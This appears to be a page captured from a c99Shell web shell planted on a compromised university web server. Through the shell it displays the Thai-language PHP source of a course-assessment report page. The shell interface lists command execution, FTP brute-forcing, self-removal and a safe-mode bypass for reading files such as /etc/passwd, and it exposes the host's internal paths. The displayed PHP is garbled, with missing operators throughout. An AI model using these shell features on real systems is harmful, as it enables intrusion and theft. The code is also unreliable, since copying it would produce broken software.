!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/fileupdate/eassess/class/   drwxr-xr-x
Free 53.7 GB of 127.8 GB (42.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     2553-09-26-1.1.01-searchTeachCourse.php (20.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php   /* แทนหน้า searchTeachCourse.php 
        Actor : อาจารย์ผู้สอน
                ผู้รับผิดชอบรายวิชา
                หัวหน้าหน่วยงาน สังกัด
        ดูผลการประเมิน ตามประเภท
        อาจารย์ผู้สอน ดูผลประเมิน ในรายวิชาที่สอน
        ผู้รับผิดชอบรายวิชา ดูผลประเมิน ในรายวิชาที่รับผิดชอบส่งเกรด

        Create 14-09-2553 B.C.
        Edit    
        */

include_once "template.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReg_AcadYearConfig.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsSectionAll.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsTimeTableAssess.php";
include_once 
"../class/clsReg_Program.php";

showHeader();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);
$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oAy = new AcadYearConfig($oCR);
$oSse = new SysSemesterDes($oCR);
$oDA = new DefineAssessment($oCA);
$oAF = new AssessForm($oCA);
$oClass = new ClassAssess($oCA);
$oCourse = new CourseAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oHC = new HoldCourse($oCA);
$oTTA=new TimeTableAssess($oCA);
$oProg = new Program($oCR);

!isset(
$acadYear)?$acadYear=$GLOBALS["ACADYEAR"]:true;
!isset(
$semester)?$semester=$GLOBALS["SEMESTER"]:true;
!isset(
$crstype)?$crstype=1:true;
!isset(
$typeReport)?$typeReport='%':true;
!isset(
$course)?$course='%':true;
!isset(
$teacher)?$teacher='%':true;
!isset(
$class)?$class='%':true;
!isset(
$programId)?$programId='%':true;

$officerCode=$oU->userPsCodeReg;
$oOFA->SearchByOfCode($officerCode);
$oOFA->GetRecord();
$oWnerId $oOFA->officerId;
?>

<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<form name="pc" method="post" action="<?php echo $PHP_SELF;?>">

<script language="JavaScript1.2">
window.onload  = function(){
    document.getElementById('crstype1').onclick = function(evt) {
        var e = (!evt) ? window.event : evt;
        var p0=document.getElementById('pt0');
        var p1=document.getElementById('pt1');
        var tp8=document.getElementById('typeReport8');
        var tp9=document.getElementById('typeReport9');
        p0.style.display = 'none';
        p1.style.display = 'inline';
        tp8.style.display = 'none';
        tp9.style.display = 'inline';
        //tp3.disabled = true;
    location.replace("<?php echo $PHP_SELF;?>"+'?acadYear='+document.pc.acadYear.value+'&semester='+document.pc.semester.value+'&crstype=1');
    }
    document.getElementById('crstype2').onclick = function(evt) {
        var e = (!evt) ? window.event : evt;
        var p0=document.getElementById('pt0');
        var p1=document.getElementById('pt1');
        var tp8=document.getElementById('typeReport8');
        var tp9=document.getElementById('typeReport9');
        p0.style.display = 'inline';
        p1.style.display = 'inline';
        tp8.style.display = 'inline';
        tp9.style.display = 'none';
        //tp3.disabled = false;
    location.replace("<?php echo $PHP_SELF;?>"+'?acadYear='+document.pc.acadYear.value+'&semester='+document.pc.semester.value+'&crstype=2');
    }

}

function getFlag(radioObj){
    var radioLength = radioObj.length;
        for(var i = 0; i < radioLength; i++) {
            if(radioObj[i].checked) {
                selectFlag =  radioObj[i].value;
            }
        }    
    return  selectFlag;
}

function radioSelect(){
    var crstype = getFlag(document.pc.elements['crstype']);
    var typeReport = getFlag(document.pc.elements['typeReport']);

    var searchCrs1 = document.getElementById('searchCrs1');
    if(crstype==1){
        searchCrs1.style.display = 'inline';
    }else{
        if(typeReport==4){
            searchCrs1.style.display = 'none';
    
        }else{
            searchCrs1.style.display = 'inline';
        }
    }
    location.replace("<?php echo $PHP_SELF;?>"+'?acadYear='+document.pc.acadYear.value+'&semester='+document.pc.semester.value+'&crstype='+crstype+'&typeReport='+typeReport+'&programId='+document.pc.programSearch.value);
}

function selectClass(){
    var crstype = getFlag(document.pc.elements['crstype']);
    var typeReport = getFlag(document.pc.elements['typeReport']);

    location.replace("<?php echo $PHP_SELF;?>"+'?acadYear='+document.pc.acadYear.value+'&semester='+document.pc.semester.value+'&crstype='+crstype+'&typeReport='+typeReport+'&course='+document.pc.courseSearch.value+'&teacher='+document.pc.teacherSearch.value+'&class='+document.pc.classSearch.value+'&programId='+document.pc.programSearch.value );    
}

function enableCrstype(v){
    var p0=document.getElementById('pt0');
    var p1=document.getElementById('pt1');
    var ct1=document.getElementById('crstype1');
    var ct2=document.getElementById('crstype2');

    if(v==1){    
        p0.style.display = 'none';
        p1.style.display = 'inline';
        ct1.checked = true;
        ct2.checked = false;
    }else{
        ct1.checked = false;
        ct2.checked = true;
        p0.style.display = 'inline';
        p1.style.display = 'inline';
    }
}

function sendPage(startpage,src) {
    var type;
    var word;
    type = getFlag(document.pc.elements['typeReport']);
    // = document.getElementById('typeReport').value;

    if(type == 1 || type == 5){
         if(startpage == 1){
            var links = "../admin/resultRQCourseTe.php?"+src;
            window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=746, height=600, left = 90, top = 40');
        }else if(startpage == 2){
            var links = "../admin/resultTQCourseTe.php?"+src;
            window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=980, height=600, left = 90, top = 40');
        }
    }else if(type == 2 || type == 6){
        var links = "../admin/reportDataRQCourseTep2.php?"+src;
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }else if(type == 3 || type == 7){
        var links = "../admin/reportDataRQCourseTe.php?"+src;
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }else if(type == 4 ){
        var links = "../admin/rptOverViewCourse.php?"+src;
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }else if(type == 8){
        var links = "../admin/reportDataRQCourseTep4_2.php?"+src;
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }else if(type == 9){
        var links = "../admin/resultRQAllCourseTe.php?"+src;
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }else if(type == 10){
        var links = "../teacher/reportDataRQCourseTep3_3.php?"+src;
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }
}

</script>
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br>
        <fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> ผลการประเมิน&nbsp;&nbsp;</font></legend><label>

        <table width="730" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr><td>&nbsp;</td></tr>
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
            <td width="730" height="32" colspan="3"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;&nbsp;ปีการศึกษา 
:</b><b> 
            <select name="acadYear" id="acadYear" onChange="location.href = '<?php echo $PHP_SELF;?>?acadYear='+encodeURI(options[selectedIndex].value)+'&amp;semester=<?php echo $semester;?>'">
            <?php
                $oAy
->RSAcadYearConfigGroupAcY();
                while(
$oAy->GetRecord()) {
            
?>
                <option value="<?php echo $oAy->acadYear;?><? if($acadYear == $oAy->acadYear) echo "selected"?>><?php echo $oAy->acadYear;?></option>
            <?php                
                
}
            
?>
            </select> ภาคการศึกษา :</b><b> 
            <select name="semester" id="semester" onChange="location.href = '<?php echo $PHP_SELF;?>?semester='+encodeURI(options[selectedIndex].value)+'&amp;acadYear=<?php echo $acadYear;?>'">
                <option value="%" selected >รวมทุกภาคการศึกษา</option> 
            <?php
                $oSse
->RSSysSemesterDes();
                while(
$oSse->GetRecord()) {
            
?>
                <option value="<?php echo $oSse->semester;?><? if($semester == $oSse->semester) echo "selected"?>><?php echo $oSse->semesterName;?></option>
            <?php
                
}
            
?>
            </select>
            </b></font>
            </td>
            </tr>
            <tr> 
                <td width=" 200" ><br>
                <fieldset> <?php //กรอบเลือก รายวิชา ?>
                <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> ประเภทรายวิชา&nbsp;&nbsp;</font></legend><label>
                <table width="100%" align="left" border="0" cellpadding="0" cellspacing="0"><? // onclick="enableCrstype(1);" ?>
                <?php 

                    
if(isset($crstype)){
                        if(
$crstype==1){
                            
$crstype1_checked 'checked';
                            
$crstype2_checked '';
                        }else{
                            
$crstype1_checked '';
                            
$crstype2_checked 'checked';
                        }
                    }else{
                        
$crstype1_checked 'checked';
                        
$crstype2_checked '';
                    }
                
?>
                    <tr><td><input type="radio" name="crstype" id="crstype1" value="1" <?=$crstype1_checked?> > รายวิชาที่สอน</td></tr>
                    <tr><td><input type="radio" name="crstype" id="crstype2" value="2" <?=$crstype2_checked?> > รายวิชาที่รับผิดชอบ</td></tr>
                    <tr><td> 
                <select name="programSearch" onchange="selectClass()" >

                <option value="%" selected> - เลือกหลักสูตร - -&nbsp;&nbsp;</option>
<?              
                
if($crstype==1){
                    
$oClass->getProgramIdOfficer($acadYear,$semester,$oWnerId);
                }else{
                    
$oClass->getProgramIdOwner($acadYear,$semester,$oWnerId);
                }
                while(
$oClass->GetRecord()){
                    
$oProg->SearchByKey($oClass->programId);
                    
$oProg->GetRecord();
?>
                <option value="<?=$oProg->programId?><? echo ($oProg->programId==$programId)?'selected':''?> ><? echo $oProg->programName?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
<?
                
}
?>
                    </td></tr>
                </table>
                </fieldset>
                </td>
            </tr>
            <tr id="pt0" style="display: <?php echo ($crstype==2)? 'inline':'none';?>" > 
                <td width="100%" >
                <fieldset> <?php //กรอบเลือก ผลการประเมินภาพรวมรายวิชา ?>
                <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> ผลการประเมินภาพรวมรายวิชา&nbsp;&nbsp;</font></legend><label>
                <table width="95%" align="center" border="0" cellpadding="0" cellspacing="0">
                    <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>" ><td  width="70%">
                          <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;  เลือกประเภทรายงาน :<br>

                     &nbsp; <input type="radio" name="typeReport"  id="typeReport1" value="1" <? echo ($typeReport==1)?'checked':'';?> onClick="radioSelect()" >
                      รายงานทั่วไปของการประเมิน โดยจำแนกตามลักษณะคำถาม/ส่วน/หัวข้อการประเมิน</font><br>

                       &nbsp; <input type="radio" name="typeReport"  id="typeReport2" value="2" <? echo $typeReport==2'checked':'';?> onClick="radioSelect()" > 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินจำแนกตามหัวข้อการประเมิน (เฉพาะคำถามปลายปิด)</font><br> 

                      &nbsp; <input type="radio" name="typeReport"  id="typeReport3" value="3" <? echo $typeReport==3'checked':'';?>  onClick="radioSelect()" > 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินข้อมูลดิบ (เฉพาะคำถามปลายปิด)</font><br>

                      &nbsp; <input type="radio" name="typeReport"  id="typeReport4" value="4" <? echo $typeReport==4'checked':'';?> onClick="radioSelect()" > 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินจำแนกทุกรายวิชาที่รับผิดชอบ [../admin/rptOverViewCourse.php]</font><br>

                    </td></tr>
                    <tr ><td>
                        &nbsp; 
                    </td></tr>
                </table>
                </fieldset> 
                </td>
            </tr>
            <tr id="pt1" style="display: 'inline';" >
                <td >
                <fieldset> <?php //กรอบเลือก ผลการประเมินประเมินอาจารย์ ?>
                <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> ผลการประเมินอาจารย์&nbsp;&nbsp;</font></legend><label>
                <?php //เลือกรูปแบบ ผลแบบประเมิน?>
                <table width="95%" align="center" border="0" cellpadding="0" cellspacing="0" >
                    <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>" ><td  width="70%">
                          <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;  เลือกประเภทรายงาน :
                     <br>&nbsp; <input type="radio" name="typeReport"  id="typeReport5" value="5" <? echo $typeReport==5'checked':'';?>  onClick="radioSelect()">
                      รายงานทั่วไปของการประเมิน โดยจำแนกตามลักษณะคำถาม/ส่วน/หัวข้อการประเมิน [resultRQCourseTe.php]</font><br> 

                       &nbsp; <input type="radio" name="typeReport"  id="typeReport6" value="6" <? echo $typeReport==6'checked':'';?>  onClick="radioSelect()"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินจำแนกตามหัวข้อการประเมิน (เฉพาะคำถามปลายปิด) [/reportDataRQCourseTep2.php]</font><br> 

                      &nbsp; <input type="radio" name="typeReport"  id="typeReport7" value="7" <? echo $typeReport==7'checked':'';?>  onClick="radioSelect()"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินข้อมูลดิบ (เฉพาะคำถามปลายปิด) [reportDataRQCourseTe.php]</font><br>

                      <span id="typeReport8" style="display: <? echo ($crstype==)?'inline':'none'?>;">
                      &nbsp; <input type="radio" name="typeReport"  id="typeReport" value="8" <? echo $typeReport==8'checked':'';?>  onClick="radioSelect()"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินจำแนกอาจารย์ [/admin/reportDataRQCourseTep4_2.php]</font><br> </span>

                      <span id="typeReport9" style="display: <? echo ($crstype==)?'inline':'none'?>;">
                      &nbsp; <input type="radio" name="typeReport"  id="typeReport" value="9" <? echo $typeReport==9'checked':'';?>  onClick="radioSelect()"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลการประเมินทุกวิชา จำแนกหัวข้อการประเมิน </font><br></span>

                      &nbsp; <input type="radio" name="typeReport"  id="typeReport10" value="10" <? echo $typeReport==10'checked':'';?>  onClick="radioSelect()"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินจำแนกรายกลุ่ม [/teacher/reportDataRQCourseTep3_3.php]</font>

                    </td></tr>
                    <tr ><td>
                        &nbsp;
                    </td></tr>
                </table>
                </fieldset> 
                </td>
            </tr>
            <tr ><td>
                &nbsp;
            </td></tr>
            <tr id='searchCrs1' style="display: <? echo ($typeReport=='%'||$typeReport==4||$typeReport==9)?'none':'inline'?>;"><td>&nbsp;&nbsp;  เลือกรายวิชา/กลุ่ม,ชั้นปี :<br>
                <img src="../picture/addc.gif"  border ="0" width="16" height="16">
                <select name="courseSearch" onchange="selectClass()" style="display: <? echo($typeReport !=)?'inline':'none';?>">

                <option value="%" selected> - เลือกวิชา - -&nbsp;&nbsp;</option>
<?              
                
if($crstype==1){
                    
$oClass->RSClassTeach($acadYear,$semester,$oWnerId);
                }else{
                    
$oClass->RSClassOfficer($acadYear,$semester,$oWnerId);
                }
                while(
$oClass->GetRecord()){
                    
$oCourse->SearchByKey($oClass->courseId);
                    
$oCourse->GetRecord();
?>
                <option value="<?=$oCourse->courseId?><? echo ($oCourse->courseId==$course)?'selected':''?> ><? echo $oCourse->courseCode.' '.$oCourse->courseName?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
<?
                
}
?>
                </select>
                &nbsp;&nbsp;<img src="../picture/user.gif"  border ="0" width="13" height="13">
               <select name="teacherSearch" onchange="selectClass()" style="display: <? echo($crstype==2&&$typeReport >&& $typeReport!=8)?'inline':'none';?>" >
                 <?php if(!isset($teacher)){  ?>
                 <option value="%" selected> - - เลือกอาจารย์ - -</option>
                 <?php ?>
                 <option value="%" <? if('%' == $teacherSearch) echo "selected"?>> - รวมอาจารย์ทุกท่าน -</option>
                 <?php        
                    $oCIS
->RSByAcYSeCoId($acadYear,$semester,$course);
                    while(
$oCIS->GetRecord()) {
                        
$oOFA->SearchByKey($oCIS->officerId);
                        
$oOFA->GetRecord();    
                
?>
                 <option value="<?php echo $oCIS->officerId;?><? if($oCIS->officerId == $teacher) echo "selected"?>><?php echo  " อ.".$oOFA->officerName." ".$oOFA->officerSurname?></option>
                 <?php }   ?>
               </select>&nbsp;&nbsp;

           <? /* ----------------------- SEARCH Class From TEACHER ------------------ */ ?>
           <select name="classSearch"  onChange="selectClass()" style="display: <? echo($typeReport !=10 )?'inline':'none';?>">
            <?php if(!isset($teacher)){  ?>
            <option value="%" selected>  - เลือกกลุ่ม -</option>
            <?php ?>
            <option value="%" <? if('%' == $teacher) echo "selected"?>> - รวมทุกกลุ่ม -</option>
            <?php        
                $oClass
->RSByAcYSemCoIdOfId($acadYear,$semester,$course,$teacher);
                while(
$oClass->GetRecord()) {
            
?>
                <option value="<?=$oClass->classId?><? if($oClass->classId == $class) echo "selected"?>><?php echo 'ชั้นปี '.$oClass->studentYear.' / กลุ่ม '.$oClass->section;    ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
                <?php }   ?>
              </select>

            </td></tr>
            <tr ><td>
                &nbsp;
                <? include "showDeAssTeacher.php"?>
            </td></tr>
        </table>
        </fieldset>
        </td>
    </tr>
</table>
</form>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0176 ]--